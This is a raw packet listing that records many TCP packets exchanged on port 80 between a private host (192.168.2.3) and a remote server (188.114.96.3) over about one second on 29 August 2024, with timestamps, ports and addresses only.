Aug 29, 2024 12:14:38.889314890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889327049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889338970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889364004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889388084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889451981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889463902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889475107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889487028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889496088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889527082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889540911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889552116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889580011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889591932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889601946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889605045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889642000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889678955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889691114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889702082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889714003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889733076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889740944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889770985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976192951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976217985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976231098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976243019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976254940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976268053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976280928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976305008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976315975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976322889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976326942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976339102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976350069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976361990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976366997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976371050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976375103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976381063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976386070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976391077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976394892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976408005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976425886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976458073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976526976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976537943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976548910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976561069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976572990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976576090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976587057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976589918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976598978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976608992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976633072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976635933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976645947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976680994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976713896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976727009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976747036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976778984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976866007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976876974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976888895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976901054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976913929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976917028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976933002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976938009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976947069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.976955891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976975918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976990938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.976996899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977009058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977020979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977034092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977037907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977049112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977049112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977073908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977094889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977883101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977895021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977906942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977919102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977925062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977930069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977941990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977951050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977955103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977969885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.977972984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.977988005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978009939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978013992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978022099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978034019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978044033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978045940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978060007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978060007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978077888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978126049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978130102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978137970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978149891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978161097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978168011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978177071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978180885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978194952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978204966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978205919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978220940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978230953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978231907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.978256941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.978283882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.983989000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984057903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984061956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984075069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984102964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984116077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984127998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984138966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984157085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984169960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984188080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984334946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984348059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984359026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984370947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984379053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984388113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984400988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984409094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984414101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984435081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984452009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984476089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984498978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984509945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984520912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984528065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984532118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984539986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984554052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984563112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984575987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984603882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984735966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984746933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984756947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984762907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984777927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984783888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984801054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984805107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984812975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984823942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984828949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984837055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984848022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984854937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984860897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984873056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984884024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984888077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984895945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984905005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984910965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.984926939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.984941959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985332966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985343933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985354900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985366106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985377073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985388994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985397100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985400915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985413074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985418081 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985425949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985433102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985439062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985455990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985479116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985486031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985493898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.985511065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.985533953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068451881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068475008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068495989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068568945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068608999 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068747044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068764925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068775892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068787098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068799019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068808079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068809986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068823099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068835020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068839073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068845987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068855047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068877935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068897009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068912029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068924904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068934917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068947077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.068954945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068977118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068977118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.068990946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069020987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069031954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069042921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069053888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069058895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069086075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069380999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069391966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069401979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069412947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069423914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069427967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069436073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069441080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069447994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069461107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069461107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069483042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069505930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069523096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069533110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069538116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069547892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069559097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069570065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069577932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069597960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069696903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069708109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069717884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069737911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069757938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069855928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069865942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069897890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.069987059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.069998980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070008993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070019960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070029974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070031881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070044041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070051908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070067883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070101976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070123911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070133924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070151091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070159912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070163965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070175886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070183992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070214033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070288897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070300102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070310116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070331097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070347071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070369959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070382118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070391893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070403099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070413113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070425987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070445061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070487022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070542097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070664883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070677996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070687056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070699930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070707083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070734024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070771933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070784092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.070832014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.070962906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.071029902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076206923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076221943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076234102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076244116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076247931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076255083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076267004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076275110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076291084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076303005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076308966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076316118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076323986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076327085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076339960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076343060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076351881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076364994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076369047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076376915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076387882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076391935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076399088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076411963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076411963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076426029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076431990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076438904 CEST	80	62660	188.114.96.3	192.168.2.3
